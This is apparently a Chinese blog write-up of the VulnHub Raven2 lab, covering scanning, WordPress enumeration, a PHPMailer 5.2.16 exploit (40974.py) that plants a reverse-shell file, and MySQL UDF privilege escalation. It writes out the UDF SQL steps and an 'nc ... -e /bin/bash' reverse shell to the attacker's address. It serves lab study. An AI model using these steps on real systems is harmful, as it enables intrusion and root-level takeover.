当前位置:网站首页>vulnhub之raven2
vulnhub之raven2
2022-07-03 11:05:00 【梅_花_七】
仅做个人学习笔记使用
目录
一、主机发现

二、端口扫描

三、服务版本探测
常规22,80端口。
111这是个没看懂
42689 开放了远程进程调用协议

四、信息收集
1.一直请求资源
和原来一样就是请求了国外某些站点资源,导致了无法正常加载,挂个梯子就行。要是用到burp,就挂两层。
就是个保安公司界面

2.常规看源码
看接口,源码泄露,有无隐藏目录,都无。
五、扫目录
最基本信息就是wordpress建站

1. /vendor
3,4,5个文件都提到了PHPMailer,readme是自述文件,里面介绍了phpmailer是个php的邮件传输的类,。而security则提到了他的历史漏洞。changelog讲述变迁日志。
尝试从phpmailer进行突破

(1)flag1

六、phpmailer
因为从上面文件中可以得知版本是5.2.16,所以这几个都去试一下。
1.40974.py
40974.py是可以用的。对目标路径写入反弹shell文件。

注意: 使用前需要先更改文件内容
(1)改回连地址
(2)写入后门文件路径
(3)目标ip
也可以改个文件名

2.访问触发
3.反弹shell
七、mysql之udf提权
当我们信息收集时,发现有泄露的mysql账号密码,
检查进程时,又发现mysql是以root的属主运行的,所以可以利用mysql来提权,
1.信息收集
root [email protected]

2.udf提权
udf的设计初衷是为了方便用户自定义一些函数,方便查询一些复杂的数据,同时也增加了使用udf提权的可能。
攻击者通过编写调用cmd或者shell的udf.dll文件,并且导入到一个指定的文件夹目录下,创建一个指向udf.dll的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。
3.步骤
(1)找到kali自带的udf提权链接库文件.so

(2)64.so的传到靶机上
最好放到/tmp下
(3)查看插件路径
show variables like '%plugin%';
(4)通过链接库文件写入数据库
使用系统数据库,创建一个表,写入链接库文件数据。
use mysql;
create table a(line blob);
insert into a values(load_file('/tmp/x.so'));
(5)再将链接库文件写入插件位置
select * from a into dumpfile '/usr/lib/mysql/plugin/x.so';
(6)创建新函数
create function sys_exec returns integer soname 'x.so';
(7)执行反弹shell
select sys_exec('nc 192.168.0.107 6666 -e /bin/bash');

边栏推荐
- Xml的(DTD,xml解析,xml建模)
- 836. 合并集合(DAY 63)并查集
- How to become a senior digital IC Design Engineer (1-3) Verilog coding syntax: Verilog behavior level, register transfer level, gate level (abstract level)
- How to get started embedded future development direction of embedded
- 多维度监控:智能监控的数据基础
- R language uses the aggregate function to calculate the mean value (sum) of dataframe data grouping aggregation without setting na The result of RM calculation. If the group contains the missing value
- Kubernetes 三打探针及探针方式
- POI excel cell wrap
- phpcms 提示信息頁面跳轉showmessage
- R语言使用gridExtra包的grid.arrange函数将lattice包的多个可视化图像横向组合起来,ncol参数自定义组合图列数、nrow参数自定义组合图行数
猜你喜欢

2022 东北四省赛 VP记录/补题

导师对帮助研究生顺利完成学业提出了20条劝告:第一,不要有度假休息的打算.....

The uniapp scroll view solves the problems of high adaptability and bullet frame rolling penetration.

错排问题 (抽奖,发邮件)

Cadence background color setting

Gut | Yu Jun group of the Chinese University of Hong Kong revealed that smoking changes intestinal flora and promotes colorectal cancer (do not smoke)

Hongmeng fourth training

FL Studio 20 unlimited trial fruit arranger Download

Understand go language context in one article

C language AES encryption and decryption
随机推荐
How to become a senior digital IC Design Engineer (1-3) Verilog coding syntax: Verilog behavior level, register transfer level, gate level (abstract level)
GCC compilation process and dynamic link library and static link library
一文搞懂Go语言Context
Numpy np.max和np.maximum实现relu函数
Stm32hal library upgrades firmware based on flash analog U disk (detailed explanation)
How to become a senior digital IC Design Engineer (1-2) Verilog coding syntax: Verilog 1995, 2001, 2005 standards
多维度监控:智能监控的数据基础
2022年湖南工学院ACM集训第二次周测题解
Solicitation for JGG special issue: spatio-temporal omics
Xml的(DTD,xml解析,xml建模)
How to become a senior digital IC Design Engineer (1-5) Verilog coding syntax: operand
同事写了一个责任链模式,bug无数...
R language uses the aggregate function to calculate the mean value (sum) of dataframe data grouping aggregation without setting na The result of RM calculation. If the group contains the missing value
DS90UB949
How to become a senior digital IC Design Engineer (1-4) Verilog coding syntax: expression
Hongmeng third training (project training)
mysql使用update联表更新的方法
VPP three-layer network interconnection configuration
(database authorization - redis) summary of unauthorized access vulnerabilities in redis
DS90UB949